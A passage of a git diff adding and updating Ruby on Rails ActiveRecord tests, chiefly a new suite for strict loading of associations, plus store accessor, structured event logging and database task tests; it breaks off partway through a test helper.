+  test "store takes precedence when updating store and accessor" do
+    user = Admin::User.find_by_name("Jamis")
+    user.update(settings: { homepage: "rails" }, homepage: "not rails")
+
+    assert_equal "rails", user.settings[:homepage]
+    assert_equal "rails", user.homepage
+  end
+
+  def test_convert_store_attributes_from_Hash_to_HashWithIndifferentAccess_saving_the_data_and_access_attributes_indifferently
     user = Admin::User.find_by_name("Jamis")
     assert_equal "symbol",  user.settings[:symbol]
     assert_equal "symbol",  user.settings["symbol"]
@@ -135,7 +283,7 @@ class StoreTest < ActiveRecord::TestCase
 
   test "updating the store will mark it as changed encoded with JSON" do
     @john.height = "short"
-    assert @john.json_data_changed?
+    assert_predicate @john, :json_data_changed?
   end
 
   test "object initialization with not nullable column encoded with JSON" do
@@ -186,10 +334,59 @@ class StoreTest < ActiveRecord::TestCase
 
   test "dump, load and dump again a model" do
     dumped = YAML.dump(@john)
-    loaded = YAML.load(dumped)
+    loaded = YAML.respond_to?(:unsafe_load) ? YAML.unsafe_load(dumped) : YAML.load(dumped)
     assert_equal @john, loaded
 
     second_dump = YAML.dump(loaded)
-    assert_equal @john, YAML.load(second_dump)
+    second_loaded = YAML.respond_to?(:unsafe_load) ? YAML.unsafe_load(second_dump) : YAML.load(second_dump)
+    assert_equal @john, second_loaded
+  end
+
+  test "read store attributes through accessors with default suffix" do
+    @john.configs[:two_factor_auth] = true
+    assert_equal true, @john.two_factor_auth_configs
+  end
+
+  test "write store attributes through accessors with default suffix" do
+    @john.two_factor_auth_configs = false
+    assert_equal false, @john.configs[:two_factor_auth]
+  end
+
+  test "read store attributes through accessors with custom suffix" do
+    @john.configs[:login_retry] = 3
+    assert_equal 3, @john.login_retry_config
+  end
+
+  test "write store attributes through accessors with custom suffix" do
+    @john.login_retry_config = 5
+    assert_equal 5, @john.configs[:login_retry]
+  end
+
+  test "read accessor without pre/suffix in the same store as other pre/suffixed accessors still works" do
+    @john.configs[:secret_question] = "What is your high school?"
+    assert_equal "What is your high school?", @john.secret_question
+  end
+
+  test "write accessor without pre/suffix in the same store as other pre/suffixed accessors still works" do
+    @john.secret_question = "What was the Rails version when you first worked on it?"
+    assert_equal "What was the Rails version when you first worked on it?", @john.configs[:secret_question]
+  end
+
+  test "prefix/suffix do not affect stored attributes" do
+    assert_equal [:secret_question, :two_factor_auth, :login_retry], Admin::User.stored_attributes[:configs]
+  end
+
+  test "store_accessor raises an exception if the column is not either serializable or a structured type" do
+    user = Class.new(Admin::User) do
+      store_accessor :name, :color
+    end.new
+
+    assert_raises ActiveRecord::ConfigurationError do
+      user.color
+    end
+
+    assert_raises ActiveRecord::ConfigurationError do
+      user.color = "blue"
+    end
   end
 end
diff --git a/activerecord/test/cases/strict_loading_test.rb b/activerecord/test/cases/strict_loading_test.rb
new file mode 100644
index 0000000000000..c6a55a0647651
--- /dev/null
+++ b/activerecord/test/cases/strict_loading_test.rb
@@ -0,0 +1,782 @@
+# frozen_string_literal: true
+
+require "cases/helper"
+require "models/developer"
+require "models/contract"
+require "models/company"
+require "models/computer"
+require "models/mentor"
+require "models/project"
+require "models/ship"
+require "models/ship_part"
+require "models/strict_zine"
+require "models/interest"
+require "models/treasure"
+require "models/pirate"
+
+class StrictLoadingTest < ActiveRecord::TestCase
+  fixtures :developers, :developers_projects, :projects, :ships
+
+  def run(*)
+    with_debug_event_reporting do
+      super
+    end
+  end
+
+  setup do
+    ActiveSupport.colorize_logging = false
+  end
+
+  teardown do
+    ActiveSupport.colorize_logging = true
+  end
+
+  def test_strict_loading!
+    developer = Developer.first
+    assert_not_predicate developer, :strict_loading?
+
+    assert developer.strict_loading!
+    assert_predicate developer, :strict_loading?
+
+    assert_raises ActiveRecord::StrictLoadingViolationError do
+      developer.audit_logs.to_a
+    end
+
+    assert_not developer.strict_loading!(false)
+    assert_not_predicate developer, :strict_loading?
+
+    assert_nothing_raised do
+      developer.audit_logs.to_a
+    end
+
+    assert developer.strict_loading!(mode: :n_plus_one_only)
+    assert_predicate developer, :strict_loading_n_plus_one_only?
+  end
+
+  def test_strict_loading_n_plus_one_only_mode_with_has_many
+    developer = Developer.first
+    firm = Firm.create!(name: "NASA")
+    developer.projects << Project.create!(name: "Apollo", firm: firm)
+
+    developer.reload
+
+    developer.strict_loading!(mode: :n_plus_one_only)
+    assert_predicate developer, :strict_loading?
+
+    # Does not raise when loading a has_many association (:projects)
+    assert_nothing_raised do
+      developer.projects.to_a
+    end
+
+    # strict_loading is enabled for has_many associations
+    assert developer.projects.all?(&:strict_loading?)
+    assert_raises ActiveRecord::StrictLoadingViolationError do
+      developer.projects.last.firm
+    end
+
+    assert_nothing_raised do
+      developer.projects_extended_by_name.to_a
+    end
+
+    assert developer.projects_extended_by_name.all?(&:strict_loading?)
+    assert_raises ActiveRecord::StrictLoadingViolationError do
+      developer.projects_extended_by_name.last.firm
+    end
+  end
+
+  def test_strict_loading_n_plus_one_only_mode_with_belongs_to
+    developer = Developer.first
+    ship = Ship.first
+    ShipPart.create!(name: "Stern", ship: ship)
+
+    ship.update_column(:developer_id, developer.id)
+    developer.reload
+
+    developer.strict_loading!(mode: :n_plus_one_only)
+    assert_predicate developer, :strict_loading?
+
+    # Does not raise when a belongs_to association (:ship) loads its
+    # has_many association (:parts)
+    assert_nothing_raised do
+      developer.ship.parts.to_a
+    end
+
+    # strict_loading is enabled for has_many through a belongs_to
+    assert_not developer.ship.strict_loading?
+    assert developer.ship.parts.all?(&:strict_loading?)
+    assert_raises ActiveRecord::StrictLoadingViolationError do
+      developer.ship.parts.first.trinkets.to_a
+    end
+  end
+
+  def test_strict_loading_n_plus_one_only_mode_does_not_eager_load_child_associations
+    developer = Developer.first
+    developer.strict_loading!(mode: :n_plus_one_only)
+    developer.projects.first
+
+    assert_not_predicate developer.projects, :loaded?
+
+    assert_nothing_raised do
+      developer.projects.first.firm
+    end
+  end
+
+  def test_default_mode_is_all
+    developer = Developer.first
+    assert_predicate developer, :strict_loading_all?
+  end
+
+  def test_default_mode_can_be_changed_globally
+    developer = Class.new(ActiveRecord::Base) do
+      self.strict_loading_mode = :n_plus_one_only
+      self.table_name = "developers"
+    end.new
+
+    assert_predicate developer, :strict_loading_n_plus_one_only?
+  end
+
+  def test_strict_loading
+    Developer.all.each { |d| assert_not d.strict_loading? }
+    Developer.strict_loading.each { |d| assert_predicate d, :strict_loading? }
+  end
+
+  def test_strict_loading_by_default
+    with_strict_loading_by_default(Developer) do
+      Developer.all.each { |d| assert_predicate d, :strict_loading? }
+      Developer.strict_loading(false).each { |d| assert_not d.strict_loading? }
+    end
+  end
+
+  def test_strict_loading_by_default_can_be_set_per_model
+    model1 = Class.new(ActiveRecord::Base) do
+      self.table_name = "developers"
+      self.strict_loading_by_default = true
+    end.new
+
+    model2 = Class.new(ActiveRecord::Base) do
+      self.table_name = "developers"
+      self.strict_loading_by_default = false
+    end.new
+
+    assert_predicate model1, :strict_loading?
+    assert_not_predicate model2, :strict_loading?
+  end
+
+  def test_strict_loading_by_default_is_inheritable
+    with_strict_loading_by_default(ActiveRecord::Base) do
+      model1 = Class.new(ActiveRecord::Base) do
+        self.table_name = "developers"
+      end.new
+
+      model2 = Class.new(ActiveRecord::Base) do
+        self.table_name = "developers"
+        self.strict_loading_by_default = false
+      end.new
+
+      assert_predicate model1, :strict_loading?
+      assert_not_predicate model2, :strict_loading?
+    end
+  end
+
+  def test_raises_if_strict_loading_and_lazy_loading
+    dev = Developer.strict_loading.first
+    assert_predicate dev, :strict_loading?
+
+    assert_raises ActiveRecord::StrictLoadingViolationError do
+      dev.audit_logs.to_a
+    end
+  end
+
+  def test_raises_if_strict_loading_by_default_and_lazy_loading
+    with_strict_loading_by_default(Developer) do
+      dev = Developer.first
+      assert_predicate dev, :strict_loading?
+
+      assert_raises ActiveRecord::StrictLoadingViolationError do
+        dev.audit_logs.to_a
+      end
+    end
+  end
+
+  def test_strict_loading_is_ignored_in_validation_context
+    with_strict_loading_by_default(Developer) do
+      developer = Developer.first
+      assert_predicate developer, :strict_loading?
+
+      assert_nothing_raised do
+        AuditLogRequired.create! developer_id: developer.id, message: "i am a message"
+      end
+    end
+  end
+
+  def test_strict_loading_with_reflection_is_ignored_in_validation_context
+    with_strict_loading_by_default(Developer) do
+      developer = Developer.first
+      assert_predicate developer, :strict_loading?
+
+      developer.required_audit_logs.build(message: "I am message")
+      developer.save!
+    end
+  end
+
+  def test_strict_loading_on_concat_is_ignored
+    developer = Developer.first
+    developer.strict_loading!
+
+    assert_nothing_raised do
+      developer.audit_logs << AuditLog.new(message: "message")
+    end
+  end
+
+  def test_strict_loading_on_build_is_ignored
+    developer = Developer.first
+    developer.strict_loading!
+
+    assert_nothing_raised do
+      developer.audit_logs.build(message: message)
+    end
+  end
+
+  def test_strict_loading_on_writer_is_ignored
+    developer = Developer.first
+    developer.strict_loading!
+
+    assert_nothing_raised do
+      developer.audit_logs = [AuditLog.new(message: "message")]
+    end
+  end
+
+  def test_strict_loading_with_new_record_on_concat_is_ignored
+    developer = Developer.new(id: Developer.first.id)
+    developer.strict_loading!
+
+    assert_nothing_raised do
+      developer.audit_logs << AuditLog.new(message: "message")
+    end
+  end
+
+  def test_strict_loading_with_new_record_on_build_is_ignored
+    developer = Developer.new(id: Developer.first.id)
+    developer.strict_loading!
+
+    assert_nothing_raised do
+      developer.audit_logs.build(message: "message")
+    end
+  end
+
+  def test_strict_loading_with_new_record_on_writer_is_ignored
+    developer = Developer.new(id: Developer.first.id)
+    developer.strict_loading!
+
+    assert_nothing_raised do
+      developer.audit_logs = [AuditLog.new(message: "message")]
+    end
+  end
+
+  def test_strict_loading_has_one_reload
+    with_strict_loading_by_default(Developer) do
+      ship = Ship.create!(developer: Developer.first, name: "The Great Ship")
+      developer = Developer.preload(:ship).first
+
+      assert_predicate developer, :strict_loading?
+      assert_equal ship, developer.ship
+
+      developer.reload
+
+      assert_nothing_raised do
+        assert_equal ship, developer.ship
+      end
+    end
+  end
+
+  def test_strict_loading_with_has_many
+    with_strict_loading_by_default(Developer) do
+      devs = Developer.preload(:audit_logs).all
+
+      assert_nothing_raised do
+        devs.map(&:audit_logs).to_a
+      end
+
+      devs.reload
+
+      assert_nothing_raised do
+        devs.map(&:audit_logs).to_a
+      end
+    end
+  end
+
+  def test_strict_loading_with_has_many_singular_association_and_reload
+    with_strict_loading_by_default(Developer) do
+      dev = Developer.preload(:audit_logs).first
+
+      assert_nothing_raised do
+        dev.audit_logs.to_a
+      end
+
+      dev.reload
+
+      assert_nothing_raised do
+        dev.audit_logs.to_a
+      end
+    end
+  end
+
+  def test_strict_loading_with_has_many_through_cascade_down_to_middle_records
+    dev = Developer.first
+    firm = Firm.create!(name: "NASA")
+    contract = Contract.create!(developer: dev, firm: firm)
+    dev.contracts << contract
+    dev = Developer.strict_loading.includes(:firms).first
+
+    assert_predicate dev, :strict_loading?
+
+    [
+      proc { dev.firms.first.contracts.first },
+      proc { dev.contracts.first },
+      proc { dev.ship }
+    ].each do |block|
+      assert_raises ActiveRecord::StrictLoadingViolationError do
+        block.call
+      end
+    end
+  end
+
+  def test_strict_loading_with_has_one_through_does_not_prevent_creation_of_association
+    firm = Firm.new(name: "SuperFirm").tap(&:strict_loading!)
+    computer = Computer.new(extendedWarranty: 1).tap(&:strict_loading!)
+
+    computer.firm = firm
+    computer.developer.name = "Joe"
+    firm.lead_developer = computer.developer
+
+    assert_nothing_raised do
+      computer.save!
+    end
+  end
+
+
+  def test_preload_audit_logs_are_strict_loading_because_parent_is_strict_loading
+    developer = Developer.first
+
+    3.times do
+      AuditLog.create(developer: developer, message: "I am message")
+    end
+
+    dev = Developer.includes(:audit_logs).strict_loading.first
+
+    assert_predicate dev, :strict_loading?
+    assert dev.audit_logs.all?(&:strict_loading?), "Expected all audit logs to be strict_loading"
+  end
+
+  def test_preload_audit_logs_are_strict_loading_because_it_is_strict_loading_by_default
+    with_strict_loading_by_default(AuditLog) do
+      developer = Developer.first
+
+      3.times do
+        AuditLog.create(developer: developer, message: "I am message")
+      end
+
+      dev = Developer.includes(:audit_logs).first
+
+      assert_not_predicate dev, :strict_loading?
+      assert dev.audit_logs.all?(&:strict_loading?), "Expected all audit logs to be strict_loading"
+    end
+  end
+
+  def test_eager_load_audit_logs_are_strict_loading_because_parent_is_strict_loading_in_hm_relation
+    developer = Developer.first
+
+    3.times do
+      AuditLog.create(developer: developer, message: "I am message")
+    end
+
+    dev = Developer.eager_load(:strict_loading_audit_logs).first
+
+    assert dev.strict_loading_audit_logs.all?(&:strict_loading?), "Expected all audit logs to be strict_loading"
+
+    dev = Developer.eager_load(:strict_loading_audit_logs).strict_loading(false).first
+
+    assert dev.audit_logs.none?(&:strict_loading?), "Expected no audit logs to be strict_loading"
+  end
+
+  def test_eager_load_audit_logs_are_strict_loading_because_parent_is_strict_loading
+    developer = Developer.first
+
+    3.times do
+      AuditLog.create(developer: developer, message: "I am message")
+    end
+
+    dev = Developer.eager_load(:audit_logs).strict_loading.first
+
+    assert_predicate dev, :strict_loading?
+    assert dev.audit_logs.all?(&:strict_loading?), "Expected all audit logs to be strict_loading"
+
+    dev = Developer.eager_load(:audit_logs).strict_loading(false).first
+
+    assert_not_predicate dev, :strict_loading?
+    assert dev.audit_logs.none?(&:strict_loading?), "Expected no audit logs to be strict_loading"
+  end
+
+  def test_eager_load_audit_logs_are_strict_loading_because_it_is_strict_loading_by_default
+    with_strict_loading_by_default(AuditLog) do
+      developer = Developer.first
+
+      3.times do
+        AuditLog.create(developer: developer, message: "I am message")
+      end
+
+      dev = Developer.eager_load(:audit_logs).first
+
+      assert_not_predicate dev, :strict_loading?
+      assert_predicate AuditLog.last, :strict_loading?
+      assert dev.audit_logs.all?(&:strict_loading?), "Expected all audit logs to be strict_loading"
+    end
+  end
+
+  def test_raises_on_unloaded_relation_methods_if_strict_loading
+    dev = Developer.strict_loading.first
+    assert_predicate dev, :strict_loading?
+
+    assert_raises ActiveRecord::StrictLoadingViolationError do
+      dev.audit_logs.first
+    end
+  end
+
+  def test_raises_on_unloaded_relation_methods_if_strict_loading_by_default
+    with_strict_loading_by_default(Developer) do
+      dev = Developer.first
+      assert_predicate dev, :strict_loading?
+
+      assert_raises ActiveRecord::StrictLoadingViolationError do
+        dev.audit_logs.first
+      end
+    end
+  end
+
+  def test_raises_on_lazy_loading_a_strict_loading_belongs_to_relation
+    mentor = Mentor.create!(name: "Mentor")
+
+    developer = Developer.first
+    developer.update_column(:mentor_id, mentor.id)
+
+    assert_raises ActiveRecord::StrictLoadingViolationError do
+      developer.strict_loading_mentor
+    end
+  end
+
+  def test_raises_on_lazy_loading_a_belongs_to_relation_if_strict_loading_by_default
+    with_strict_loading_by_default(Developer) do
+      mentor = Mentor.create!(name: "Mentor")
+
+      developer = Developer.first
+      developer.update_column(:mentor_id, mentor.id)
+
+      assert_raises ActiveRecord::StrictLoadingViolationError do
+        developer.mentor
+      end
+    end
+  end
+
+  def test_strict_loading_can_be_turned_off_on_an_association_in_a_model_with_strict_loading_on
+    with_strict_loading_by_default(Developer) do
+      mentor = Mentor.create!(name: "Mentor")
+
+      developer = Developer.first
+      developer.update_column(:mentor_id, mentor.id)
+
+      assert_nothing_raised do
+        developer.strict_loading_off_mentor
+      end
+    end
+  end
+
+  def test_does_not_raise_on_eager_loading_a_strict_loading_belongs_to_relation
+    mentor = Mentor.create!(name: "Mentor")
+
+    Developer.first.update_column(:mentor_id, mentor.id)
+    developer = Developer.includes(:strict_loading_mentor).first
+
+    assert_nothing_raised { developer.strict_loading_mentor }
+  end
+
+  def test_does_not_raise_on_eager_loading_a_belongs_to_relation_if_strict_loading_by_default
+    with_strict_loading_by_default(Developer) do
+      mentor = Mentor.create!(name: "Mentor")
+
+      Developer.first.update_column(:mentor_id, mentor.id)
+      developer = Developer.includes(:mentor).first
+
+      assert_nothing_raised { developer.mentor }
+    end
+  end
+
+  def test_raises_on_lazy_loading_a_strict_loading_has_one_relation
+    developer = Developer.first
+    ship = Ship.first
+
+    ship.update_column(:developer_id, developer.id)
+
+    assert_raises ActiveRecord::StrictLoadingViolationError do
+      developer.strict_loading_ship
+    end
+  end
+
+  def test_raises_on_lazy_loading_a_has_one_relation_if_strict_loading_by_default
+    with_strict_loading_by_default(Developer) do
+      developer = Developer.first
+      ship = Ship.first
+
+      ship.update_column(:developer_id, developer.id)
+
+      assert_raises ActiveRecord::StrictLoadingViolationError do
+        developer.ship
+      end
+    end
+  end
+
+  def test_does_not_raise_on_eager_loading_a_strict_loading_has_one_relation
+    Ship.first.update_column(:developer_id, Developer.first.id)
+    developer = Developer.includes(:strict_loading_ship).first
+
+    assert_nothing_raised { developer.strict_loading_ship }
+  end
+
+  def test_does_not_raise_on_eager_loading_a_has_one_relation_if_strict_loading_by_default
+    with_strict_loading_by_default(Developer) do
+      Ship.first.update_column(:developer_id, Developer.first.id)
+      developer = Developer.includes(:ship).first
+
+      assert_nothing_raised { developer.ship }
+    end
+  end
+
+  def test_raises_on_lazy_loading_a_strict_loading_has_many_relation
+    developer = Developer.first
+
+    AuditLog.create(
+      3.times.map do
+        { developer_id: developer.id, message: "I am message" }
+      end
+    )
+
+    assert_raises ActiveRecord::StrictLoadingViolationError do
+      developer.strict_loading_opt_audit_logs.first
+    end
+  end
+
+  def test_raises_on_lazy_loading_a_has_many_relation_if_strict_loading_by_default
+    with_strict_loading_by_default(Developer) do
+      developer = Developer.first
+
+      AuditLog.create(
+        3.times.map do
+          { developer_id: developer.id, message: "I am message" }
+        end
+      )
+
+      assert_raises ActiveRecord::StrictLoadingViolationError do
+        developer.audit_logs.first
+      end
+    end
+  end
+
+  def test_does_not_raise_on_eager_loading_a_strict_loading_has_many_relation
+    developer = Developer.first
+
+    AuditLog.create(
+      3.times.map do
+        { developer_id: developer.id, message: "I am message" }
+      end
+    )
+
+    developer = Developer.includes(:strict_loading_opt_audit_logs).first
+
+    assert_nothing_raised { developer.strict_loading_opt_audit_logs.first }
+  end
+
+  def test_does_not_raise_on_eager_loading_a_has_many_relation_if_strict_loading_by_default
+    with_strict_loading_by_default(Developer) do
+      developer = Developer.first
+
+      AuditLog.create(
+        3.times.map do
+          { developer_id: developer.id, message: "I am message" }
+        end
+      )
+
+      developer = Developer.includes(:audit_logs).first
+
+      assert_nothing_raised { developer.audit_logs.first }
+    end
+  end
+
+  def test_raises_on_lazy_loading_a_strict_loading_habtm_relation
+    developer = Developer.first
+    developer.projects << Project.first
+
+    assert_not developer.strict_loading_projects.loaded?
+
+    assert_raises ActiveRecord::StrictLoadingViolationError do
+      developer.strict_loading_projects.first
+    end
+  end
+
+  def test_raises_on_lazy_loading_a_habtm_relation_if_strict_loading_by_default
+    with_strict_loading_by_default(Developer) do
+      developer = Developer.first
+      developer.projects << Project.first
+
+      assert_not developer.projects.loaded?
+
+      assert_raises ActiveRecord::StrictLoadingViolationError do
+        developer.projects.first
+      end
+    end
+  end
+
+  def test_does_not_raise_on_eager_loading_a_strict_loading_habtm_relation
+    Developer.first.projects << Project.first
+    developer = Developer.includes(:strict_loading_projects).first
+
+    assert_nothing_raised { developer.strict_loading_projects.first }
+  end
+
+  def test_does_not_raise_on_eager_loading_a_habtm_relation_if_strict_loading_by_default
+    with_strict_loading_by_default(Developer) do
+      Developer.first.projects << Project.first
+      developer = Developer.includes(:projects).first
+
+      assert_nothing_raised { developer.projects.first }
+    end
+  end
+
+  def test_does_not_raise_when_checking_if_new_record_included_in_eager_loaded_habtm_relation
+    Developer.first.projects << Project.first
+
+    developer = Developer.includes(:projects).strict_loading.first
+
+    assert_nothing_raised { developer.projects.include?(Project.new) }
+  end
+
+  def test_strict_loading_violation_raises_by_default
+    assert_equal :raise, ActiveRecord.action_on_strict_loading_violation
+
+    developer = Developer.first
+    assert_not_predicate developer, :strict_loading?
+
+    developer.strict_loading!
+    assert_predicate developer, :strict_loading?
+
+    assert_raises ActiveRecord::StrictLoadingViolationError do
+      developer.audit_logs.to_a
+    end
+  end
+
+  def test_strict_loading_violation_can_log_instead_of_raise
+    old_value = ActiveRecord.action_on_strict_loading_violation
+    ActiveRecord.action_on_strict_loading_violation = :log
+    assert_equal :log, ActiveRecord.action_on_strict_loading_violation
+
+    developer = Developer.first
+    assert_not_predicate developer, :strict_loading?
+
+    developer.strict_loading!
+    assert_predicate developer, :strict_loading?
+
+    expected_log = <<-MSG.squish
+      `Developer` is marked for strict_loading.
+      The AuditLog association named `:audit_logs` cannot be lazily loaded.
+    MSG
+    assert_logged(expected_log) do
+      developer.audit_logs.to_a
+    end
+  ensure
+    ActiveRecord.action_on_strict_loading_violation = old_value
+  end
+
+  def test_strict_loading_violation_on_polymorphic_relation
+    pirate = Pirate.create!(catchphrase: "Arrr!")
+    Treasure.create!(looter: pirate)
+
+    treasure = Treasure.last
+    treasure.strict_loading!
+    assert_predicate treasure, :strict_loading?
+
+    error = assert_raises ActiveRecord::StrictLoadingViolationError do
+      treasure.looter
+    end
+
+    expected_error_message = <<-MSG.squish
+      `Treasure` is marked for strict_loading.
+      The polymorphic association named `:looter` cannot be lazily loaded.
+    MSG
+
+    assert_equal(expected_error_message, error.message)
+  end
+
+  def test_strict_loading_violation_logs_on_polymorphic_relation
+    old_value = ActiveRecord.action_on_strict_loading_violation
+    ActiveRecord.action_on_strict_loading_violation = :log
+    assert_equal :log, ActiveRecord.action_on_strict_loading_violation
+
+    pirate = Pirate.create!(catchphrase: "Arrr!")
+    Treasure.create!(looter: pirate)
+
+    treasure = Treasure.last
+    treasure.strict_loading!
+    assert_predicate treasure, :strict_loading?
+
+    expected_log = <<-MSG.squish
+      `Treasure` is marked for strict_loading.
+      The polymorphic association named `:looter` cannot be lazily loaded.
+    MSG
+    assert_logged(expected_log) do
+      treasure.looter
+    end
+  ensure
+    ActiveRecord.action_on_strict_loading_violation = old_value
+  end
+
+  private
+    def with_strict_loading_by_default(model)
+      previous_strict_loading_by_default = model.strict_loading_by_default
+
+      model.strict_loading_by_default = true
+
+      yield
+    ensure
+      model.strict_loading_by_default = previous_strict_loading_by_default
+    end
+
+    def assert_logged(message)
+      old_logger = ActiveRecord::LogSubscriber.logger
+      log = StringIO.new
+      ActiveRecord::LogSubscriber.logger = Logger.new(log)
+
+      begin
+        yield
+
+        log.rewind
+        assert_match message, log.read
+      ensure
+        ActiveRecord::LogSubscriber.logger = old_logger
+      end
+    end
+end
+
+class StrictLoadingFixturesTest < ActiveRecord::TestCase
+  fixtures :strict_zines
+
+  test "strict loading violations are ignored on fixtures" do
+    ActiveRecord::FixtureSet.reset_cache
+    create_fixtures("strict_zines")
+
+    assert_nothing_raised do
+      strict_zines(:going_out).interests.to_a
+    end
+
+    assert_raises(ActiveRecord::StrictLoadingViolationError) do
+      StrictZine.first.interests.to_a
+    end
+  end
+end
diff --git a/activerecord/test/cases/structured_event_subscriber_test.rb b/activerecord/test/cases/structured_event_subscriber_test.rb
new file mode 100644
index 0000000000000..5ed1676d34513
--- /dev/null
+++ b/activerecord/test/cases/structured_event_subscriber_test.rb
@@ -0,0 +1,129 @@
+# frozen_string_literal: true
+
+require "cases/helper"
+require "active_support/testing/event_reporter_assertions"
+require "active_record/structured_event_subscriber"
+require "models/developer"
+require "models/binary"
+
+module ActiveRecord
+  class StructuredEventSubscriberTest < ActiveRecord::TestCase
+    include ActiveSupport::Testing::EventReporterAssertions
+
+    fixtures :developers
+
+    Event = Struct.new(:duration, :payload)
+
+    def run(*)
+      with_debug_event_reporting do
+        super
+      end
+    end
+
+    def test_strict_loding_violation
+      old_action = ActiveRecord.action_on_strict_loading_violation
+      ActiveRecord.action_on_strict_loading_violation = :log
+      developer = Developer.first.tap(&:strict_loading!)
+
+      assert_event_reported("active_record.strict_loading_violation", payload: {
+        owner: "Developer",
+        class: "AuditLog",
+        name: :audit_logs,
+      }) do
+        developer.audit_logs.to_a
+      end
+    ensure
+      ActiveRecord.action_on_strict_loading_violation = old_action
+    end
+
+    def test_schema_statements_are_ignored
+      subscriber = ActiveRecord::StructuredEventSubscriber.new
+
+      assert_no_event_reported("active_record.sql") do
+        subscriber.sql(Event.new(0.9, sql: "hi mom!", name: "SCHEMA"))
+      end
+    end
+
+    def test_explain_statements_are_ignored
+      subscriber = ActiveRecord::StructuredEventSubscriber.new
+
+      assert_no_event_reported("active_record.sql") do
+        subscriber.sql(Event.new(0.9, sql: "hi mom!", name: "EXPLAIN"))
+      end
+    end
+
+    def test_basic_query_logging
+      event = assert_event_reported("active_record.sql", payload: {
+        name: "Developer Load",
+        sql: /SELECT .*?FROM .?developers.?/i,
+      }) do
+        Developer.all.load
+      end
+
+      assert(event[:payload][:duration_ms] > 0)
+    end
+
+    def test_async_query
+      subscriber = ActiveRecord::StructuredEventSubscriber.new
+
+      assert_event_reported("active_record.sql", payload: {
+        name: "Model Load",
+        async: true,
+        lock_wait: 0.01,
+      }) do
+        subscriber.sql(Event.new(0.9, sql: "SELECT * from models", name: "Model Load", async: true, lock_wait: 0.01))
+      end
+    end
+
+    def test_exists_query_logging
+      assert_event_reported("active_record.sql", payload: {
+        name: "Developer Exists?",
+        sql: /SELECT .*?FROM .?developers.?/i,
+      }) do
+        Developer.exists? 1
+      end
+    end
+
+    def test_cached_queries
+      assert_event_reported("active_record.sql", payload: {
+        name: "Developer Load",
+        sql: /SELECT .*?FROM .?developers.?/i,
+        cached: true,
+      }) do
+        ActiveRecord::Base.cache do
+          Developer.all.load
+          Developer.all.load
+        end
+      end
+    end
+
+    if ActiveRecord::Base.lease_connection.prepared_statements
+      def test_where_in_binds_logging_include_attribute_names
+        assert_event_reported("active_record.sql", payload: {
+          binds: [["id", 1], ["id", 2], ["id", 3], ["id", 4], ["id", 5]]
+        }) do
+          Developer.where(id: [1, 2, 3, 4, 5]).load
+        end
+      end
+
+      def test_binary_data_is_not_logged
+        assert_event_reported("active_record.sql", payload: {
+          binds: [["data", "<16 bytes of binary data>"]]
+        }) do
+          Binary.create(data: "some binary data")
+        end
+      end
+
+      def test_binary_data_hash
+        event = assert_event_reported("active_record.sql", payload: { name: "Binary Create" }) do
+          Binary.create(data: { a: 1 })
+        end
+
+        key, value = event.dig(:payload, :binds, 0)
+
+        assert_equal("data", key)
+        assert_match(/<(6|7) bytes of binary data>/, value)
+      end
+    end
+  end
+end
diff --git a/activerecord/test/cases/suppressor_test.rb b/activerecord/test/cases/suppressor_test.rb
index a7d16b7cdba3e..9be5356901791 100644
--- a/activerecord/test/cases/suppressor_test.rb
+++ b/activerecord/test/cases/suppressor_test.rb
@@ -1,3 +1,5 @@
+# frozen_string_literal: true
+
 require "cases/helper"
 require "models/notification"
 require "models/user"
@@ -64,7 +66,7 @@ def test_suppresses_validations_on_create
   def test_suppresses_when_nested_multiple_times
     assert_no_difference -> { Notification.count } do
       Notification.suppress do
-        Notification.suppress {}
+        Notification.suppress { }
         Notification.create
         Notification.create!
         Notification.new.save
diff --git a/activerecord/test/cases/table_metadata_test.rb b/activerecord/test/cases/table_metadata_test.rb
new file mode 100644
index 0000000000000..dc1d405e2f78c
--- /dev/null
+++ b/activerecord/test/cases/table_metadata_test.rb
@@ -0,0 +1,16 @@
+# frozen_string_literal: true
+
+require "cases/helper"
+require "models/developer"
+
+module ActiveRecord
+  class TableMetadataTest < ActiveSupport::TestCase
+    test "#associated_table creates the right type caster for joined table with different association name" do
+      base_table_metadata = TableMetadata.new(AuditRequiredDeveloper, Arel::Table.new("developers"))
+
+      associated_table_metadata = base_table_metadata.associated_table("audit_logs")
+
+      assert_equal ActiveRecord::Type::String, associated_table_metadata.arel_table.type_for_attribute(:message).class
+    end
+  end
+end
diff --git a/activerecord/test/cases/tasks/database_tasks_test.rb b/activerecord/test/cases/tasks/database_tasks_test.rb
index 5653fd83fd840..12c095037fc97 100644
--- a/activerecord/test/cases/tasks/database_tasks_test.rb
+++ b/activerecord/test/cases/tasks/database_tasks_test.rb
@@ -1,13 +1,27 @@
+# frozen_string_literal: true
+
 require "cases/helper"
 require "active_record/tasks/database_tasks"
+require "models/course"
+require "models/college"
 
 module ActiveRecord
   module DatabaseTasksSetupper
     def setup
-      @mysql_tasks, @postgresql_tasks, @sqlite_tasks = stub, stub, stub
-      ActiveRecord::Tasks::MySQLDatabaseTasks.stubs(:new).returns @mysql_tasks
-      ActiveRecord::Tasks::PostgreSQLDatabaseTasks.stubs(:new).returns @postgresql_tasks
-      ActiveRecord::Tasks::SQLiteDatabaseTasks.stubs(:new).returns @sqlite_tasks
+      @mysql_tasks, @postgresql_tasks, @sqlite_tasks = Array.new(
+        3,
+        Class.new do
+          def create; end
+          def drop; end
+          def purge; end
+          def charset; end
+          def charset_current; end
+          def collation; end
+          def collation_current; end
+          def structure_dump(*); end
+          def structure_load(*); end
+        end.new
+      )
 
       $stdout, @original_stdout = StringIO.new, $stdout
       $stderr, @original_stderr = StringIO.new, $stderr
@@ -16,43 +30,241 @@ def setup
     def teardown
       $stdout, $stderr = @original_stdout, @original_stderr
     end
+
+    def with_stubbed_new(&block)
+      ActiveRecord::Tasks::MySQLDatabaseTasks.stub(:new, @mysql_tasks) do
+        ActiveRecord::Tasks::PostgreSQLDatabaseTasks.stub(:new, @postgresql_tasks) do
+          ActiveRecord::Tasks::SQLiteDatabaseTasks.stub(:new, @sqlite_tasks, &block)
+        end
+      end
+    end
+  end
+
+  module DatabaseTasksHelper
+    def assert_called_for_configs(method_name, configs, &block)
+      mock = Minitest::Mock.new
+      configs.each { |config| mock.expect(:call, nil, config) }
+
+      ActiveRecord::Tasks::DatabaseTasks.stub(method_name, mock, &block)
+      assert_mock(mock)
+    end
+
+    def with_stubbed_configurations(configurations = @configurations, env: "test")
+      old_configurations = ActiveRecord::Base.configurations
+      ActiveRecord::Base.configurations = configurations
+      ActiveRecord::Tasks::DatabaseTasks.env = env
+
+      yield
+    ensure
